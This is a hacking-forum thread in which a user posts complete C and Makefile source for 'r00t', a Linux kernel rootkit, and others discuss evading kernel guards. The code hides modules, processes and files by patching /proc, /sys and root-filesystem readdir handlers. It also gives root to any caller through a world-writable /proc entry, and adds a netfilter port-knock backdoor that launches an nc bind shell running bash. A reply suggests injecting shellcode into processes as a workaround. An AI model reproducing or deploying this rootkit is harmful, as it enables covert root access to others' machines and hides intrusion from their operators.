• XSS.stack #1 – первый литературный журнал от юзеров форума

Linux kernel (2.6.32-5-xen-amd64 x86_64) rootkit 'r00t'

deffi

floppy-диск
Пользователь
Регистрация
05.03.2021
Сообщения
4
Реакции
0
Hopefully someone finds this useful despite the ancient kenel version targeted. Updating the code to target a newer kernel should not be too much hassle.
C:
#/* 2021-03-08
# * r00t linux rootkit targeting kernel 2.6.32-5-xen-amd64 x86_64.
# * and yes, not my problem that folks don't update their boxes.
# *
# * Features
# * - hide kernel modules, processes, files
# * - netfilter backdoor to run nc root shell
# * - this file is a (ba)sh/(gnu)make polyglot
# *
# * Issues
# * - /proc/r00t entry is hidden by hide_processes, not hide_module
# * - netfilter hook does not seem to work on some systems (no oopses though)
# *
# * Usage: READ THE FUCKING SOURCE, gtf0 scriptkiddiez....
# \
make -f $0 ARGV0=$0 $@; exit

# Makefile
obj-m = r00t.o
UNAME_R?=$(shell uname -r)

all: r00t.ko

r00t.ko: Makefile r00t.c
    make -C /lib/modules/$(UNAME_R)/build M=$(PWD) modules
    strip -d r00t.ko
clean: Makefile r00t.c
    make -C /lib/modules/$(UNAME_R)/build M=$(PWD) clean
install: r00t.ko
    insmod r00t.ko
# elifekaM

ARGV0 ?= $(lastword $(MAKEFILE_LIST))
Makefile: $(ARGV0)
    sed -n '/^# Makefile/,/^# elifekaM/p' $< > $@
r00t.c: $(ARGV0)
    mv $< $@

define slurp #*/

#include <linux/init.h>
#include <linux/ip.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/module.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/pagemap.h>
#include <linux/skbuff.h>
#include <linux/sysfs.h>
#include <linux/tcp.h>

/*
 * Default configuration, i.e., what to hide when the rootkit is loaded.
 */
static int module_hidden = 1;
static int processes_hidden = 1;
static int nf_backdoored = 0;
static int files_hidden = 0;

/*
 * Write-protect cannot be disabled with CR0 in some environments (e.g. Xen).
 */
static void set_addr_rw(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long)addr, &level);
    if (pte->pte & ~_PAGE_RW) pte->pte |= _PAGE_RW;
}

static void set_addr_ro(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long)addr, &level);
    pte->pte = pte->pte & ~_PAGE_RW;
}

void run_nc(u16 port)
{
    char buf[32];
    char *argv[] = {
        "/bin/nc", "-c", "/bin/bash", "-l", "-w120", "-p%hu",
        NULL
    };
    char *envp[] = {
        "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        "R00T=HIDE",
        NULL
    };

    sprintf(buf, "-p%hu", port);
    argv[5] = &buf[0];
    call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}

unsigned int nf_hook_func(unsigned int hooknum, struct sk_buff *skb,
        const struct net_device *in, const struct net_device *out,
        int (*okfn)(struct sk_buff *))
{
    static unsigned short last = 0;
    struct iphdr *ip;

    if (skb && (ip = ip_hdr(skb))->protocol == IPPROTO_TCP
            && (ip->ihl << 2) == sizeof(struct iphdr)) {
        struct tcphdr *tcp;
        unsigned short dest;
        tcp = (struct tcphdr *)(skb->data + (ip->ihl << 2));
        if (be16_to_cpu(tcp->source) == 666
                && (dest = be16_to_cpu(tcp->dest)) != last) {
            switch (dest) {
            case 1597: case 2584: case 4181: case 6765:
            case 10946: case 17711: case 28657: case 46368:
                run_nc((last = dest));
                return NF_DROP;
            default: break;
            }
        }
    }

    return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_ops;
int install_nf_backdoor(void)
{
    nf_hook_ops.hook = &nf_hook_func;
    nf_hook_ops.hooknum = NF_INET_PRE_ROUTING;
    nf_hook_ops.pf = PF_INET;
    nf_hook_ops.priority = NF_IP_PRI_FIRST;
    return nf_register_hook(&nf_hook_ops);
}

void uninstall_nf_backdoor(void)
{
    nf_unregister_hook(&nf_hook_ops);
}

/*
 * Since proc_root etc. may not be exported in the target system.
 */
struct file_operations *get_fops(const char *path)
{
    struct file *filp;
    struct file_operations *fops;

    filp = filp_open(path, O_RDONLY, 0);
    if (!filp) return NULL;
    fops = (struct file_operations *)filp->f_op;
    filp_close(filp, NULL);

    return fops;
}

static int (*proc_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t proc_filldir_orig;

int r00t_proc_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    const char *p;
    pid_t pid;
    int hide;

    if (!strcmp(name, "r00t"))
        return 0;

    /*
    * If this is a PID entry, hide the process if it has R00T=HIDE set
    * in the environment.
    */
    hide = 0;
    for (p = name; *p >= '0' && *p <= '9'; p++);
    if (*p == '\0' && p != name && sscanf(name, "%d", &pid)) {
        struct task_struct *tsk;
        struct mm_struct *mm;
        struct vm_area_struct *vma;
        size_t len;
        struct page *page;
        char *maddr;
        int offset, i;

        /* Should we use get_task_mm? At least lock the fucking tsk.. */
        tsk = pid_task(find_vpid(pid), PIDTYPE_PID);
        if (!tsk || !(mm = tsk->mm)
                || !atomic_inc_not_zero(&mm->mm_users))
            goto finish;

        down_read(&mm->mmap_sem);
        if (get_user_pages(tsk, mm, mm->env_start, 1, 0, 1,
                    &page, &vma) <= 0)
            goto put;

        i = 0;
        maddr = (char *)kmap(page);
        len = mm->env_end - mm->env_start;
        offset = mm->env_start & (PAGE_SIZE-1);
        while (i <= len-10) {
            if (!strcmp(&maddr[offset+i], "R00T=HIDE")) {
                hide = 1;
                break;
            }

            /* i += strlen(&maddr[offset+i]) + 1; */
            while (maddr[offset+i++] && i <= len-10);
        }

        kunmap(page);
        page_cache_release(page);
put:        up_read(&mm->mmap_sem);
        mmput(mm);
    }

finish:
    if (hide)
        return 0;
    return proc_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_proc_readdir(struct file *fp, void *buf , filldir_t fdir)
{
    proc_filldir_orig = fdir;
    return proc_readdir_orig(fp, buf, r00t_proc_filldir);
}

static int hide_processes(void)
{
    struct file_operations *proc_fops;
    
    if ((proc_fops = get_fops("/proc"))) {
        set_addr_rw(&proc_fops->readdir);
        proc_readdir_orig = proc_fops->readdir;
        proc_fops->readdir = r00t_proc_readdir;
        set_addr_ro(&proc_fops->readdir);
        return 0;
    }

    return -1;
}

static void show_processes(void)
{
    if (proc_readdir_orig) {
        struct file_operations *proc_fops = get_fops("/proc");
        set_addr_rw(&proc_fops->readdir);
        proc_fops->readdir = proc_readdir_orig;
        set_addr_ro(&proc_fops->readdir);
    }
}

static struct list_head *module_prev;

/*
 * Hide module's sysfs directory entry.
 */
static int (*sysfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t sysfs_filldir_orig;

int r00t_sysfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    if (!strcmp(name, "r00t"))
        return 0;
    return sysfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_sysfs_readdir(struct file *fp, void *buf , filldir_t fdir)
{
    sysfs_filldir_orig = fdir;
    return sysfs_readdir_orig(fp, buf, r00t_sysfs_filldir);
}

static int hide_module(void)
{
    struct file_operations *sysfs_fops;

    if ((sysfs_fops = get_fops("/sys"))) {
        struct module *mod = &__this_module;
        module_prev = mod->list.prev;
        list_del(&mod->list);

        set_addr_rw(&sysfs_fops->readdir);
        sysfs_readdir_orig = sysfs_fops->readdir;
        sysfs_fops->readdir = r00t_sysfs_readdir;
        set_addr_ro(&sysfs_fops->readdir);

        return 0;
    }

    return -1;
}

static void show_module(void)
{
    struct module *mod = &__this_module;
    list_add(&mod->list, module_prev);

    if (sysfs_readdir_orig) {
        struct file_operations *sysfs_fops = get_fops("/sys");
        set_addr_rw(&sysfs_fops->readdir);
        sysfs_fops->readdir = sysfs_readdir_orig;
        set_addr_ro(&sysfs_fops->readdir);
    }
}

static int (*rootfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t rootfs_filldir_orig;

int r00t_rootfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    if (!strncmp(name, ".r00t_", 6))
        return 0;
    return rootfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_rootfs_readdir(struct file *fp, void *buf, filldir_t fdir)
{
    rootfs_filldir_orig = fdir;
    return rootfs_readdir_orig(fp, buf, r00t_rootfs_filldir);
}

static int hide_files(void)
{
    struct file_operations *rootfs_fops;

    if ((rootfs_fops = get_fops("/"))) {
        set_addr_rw(&rootfs_fops->readdir);
        rootfs_readdir_orig = rootfs_fops->readdir;
        rootfs_fops->readdir = r00t_rootfs_readdir;
        set_addr_ro(&rootfs_fops->readdir);
        return 0;
    }

    return -1;
}

static void show_files(void)
{
    if (rootfs_readdir_orig) {
        struct file_operations *rootfs_fops = get_fops("/");
        set_addr_rw(&rootfs_fops->readdir);
        rootfs_fops->readdir = rootfs_readdir_orig;
        set_addr_ro(&rootfs_fops->readdir);
    }
}

struct proc_dir_entry *r00t_pde;

void r00t_command(const char *cmd)
{
    /*printk(KERN_INFO "handle command: %s", cmd);*/
    if (!strcmp(cmd, "r00t_me")) {
        struct cred *credentials = prepare_creds();
        credentials->uid = credentials->euid = 0;
        credentials->gid = credentials->egid = 0;
        commit_creds(credentials);
    } else if (!module_hidden && !strcmp(cmd, "hide_module")) {
        module_hidden = !hide_module();
    } else if (module_hidden && !strcmp(cmd, "show_module")) {
        show_module();
        module_hidden = 0;
    } else if (!processes_hidden && !strcmp(cmd, "hide_processes")) {
        processes_hidden = !hide_processes();
    } else if (processes_hidden && !strcmp(cmd, "show_processes")) {
        show_processes();
        processes_hidden = 0;
    } else if (!nf_backdoored && !strcmp(cmd, "install_nf_backdoor")) {
        nf_backdoored = !install_nf_backdoor();
    } else if (nf_backdoored && !strcmp(cmd, "uninstall_nf_backdoor")) {
        uninstall_nf_backdoor();
        nf_backdoored = 0;
    } else if (!files_hidden && !strcmp(cmd, "hide_files")) {
        files_hidden = !hide_files();
    } else if (files_hidden && !strcmp(cmd, "show_files")) {
        show_files();
        files_hidden = 0;
    }
}

#define R00T_MAX_CMD_LEN 32
static int r00t_write_proc(struct file *file, const char __user *buf,
        unsigned long len, void *data)
{
    static char cmd_buf[2*R00T_MAX_CMD_LEN];
    static int end = 0;
    static int ignore = 0;
    unsigned long len0 = len;

    while (len > 0) {
        int i, ncopy;
        ncopy = (len > R00T_MAX_CMD_LEN) ? R00T_MAX_CMD_LEN : len;
        if (copy_from_user(&cmd_buf[end], buf, ncopy))
            break;

        i = end;
        end += ncopy;
        buf += ncopy;
        len -= ncopy;
        while (i < end) {
            if (cmd_buf[i++] != '\n')
                continue;

            if (!ignore && i <= R00T_MAX_CMD_LEN) {
                cmd_buf[i-1] = 0;
                r00t_command(cmd_buf);
            } else {
                ignore = 0;
            }

            memmove(cmd_buf, &cmd_buf[i], (end = end - i));
            i = 0;
        }
        
        if (end > R00T_MAX_CMD_LEN) {
            ignore = 1;
            end = 0;
        }
    }

    return (len < len0) ? len0 - len : -1 /* Nothing written */;
}


int r00t_read_proc(char *page, char **start, off_t off, int count,
        int *eof, void *data)
{
    if (off > 0) {
        *eof = 1;
        return 0;
    }

    return sprintf(page, "r00t: 1\n"
            "module_hidden: %d\n"
            "processes_hidden: %d\n"
            "nf_backdoored: %d\n"
            "files_hidden: %d\n",
            module_hidden, processes_hidden,
            nf_backdoored, files_hidden);
}

static int __init r00t_init(void)
{
    /*printk(KERN_INFO "loading r00t!\n");*/

    /* Create /proc/r00t */
    r00t_pde = create_proc_entry("r00t", 0666, NULL);
    if (!r00t_pde) {
        /*printk(KERN_INFO "cannot create /proc/r00t");*/
        return -1;
    }
    r00t_pde->read_proc = r00t_read_proc;
    r00t_pde->write_proc = r00t_write_proc;

    if (module_hidden)
        module_hidden = !hide_module();
    if (processes_hidden)
        processes_hidden = !hide_processes();
    if (nf_backdoored)
        nf_backdoored = !install_nf_backdoor();
    if (files_hidden)
        files_hidden = !hide_files();

    return 0;
}

static void __exit r00t_cleanup(void)
{
    /*printk(KERN_INFO "cleaning up r00t\n");*/

    if (module_hidden)
        show_module();
    if (processes_hidden)
        show_processes();
    if (nf_backdoored)
        uninstall_nf_backdoor();
    if (files_hidden)
        show_files();

    remove_proc_entry("r00t", NULL);
}

module_init(r00t_init);
module_exit(r00t_cleanup);

MODULE_LICENSE("GPL");
/*
MODULE_AUTHOR("def <def@huumeet.info>");
MODULE_DESCRIPTION("r00t linux kernel rootkit");
endef # define slurp */
 
call_usermodehelper
this will fail when kernel guard is active.


/* * Write-protect cannot be disabled with CR0 in some environments (e.g. Xen). */ static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long)addr, &level); if (pte->pte & ~_PAGE_RW) pte->pte |= _PAGE_RW; }
this one - is quite good!
But will fail, when HV-guard and/or kernel guard is active.

We should have fallback without breaking RO segment hash-sums.
 
Interesting! Thanks for the feedback.

Does there exist a workaround for the call_usermodehelper issue when kernel guard is active? and I'd guess spawning user processes from the kernel is a common operation in rootkits. IIRC the kernel internally calls call_usermodehelper at least in keyctl(1) & request-key(8) to implement callbacks to user-space programs. Is this feature disabled as well when kernel guard is enabled?
 
Interesting! Thanks for the feedback.

Does there exist a workaround for the call_usermodehelper issue when kernel guard is active? and I'd guess spawning user processes from the kernel is a common operation in rootkits. IIRC the kernel internally calls call_usermodehelper at least in keyctl(1) & request-key(8) to implement callbacks to user-space programs. Is this feature disabled as well when kernel guard is enabled?
yes, you can inject shell-code inside any proc on start.
or, when elf binary being reading from FS.

call_usermodehelper "white list"
1615453704839.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх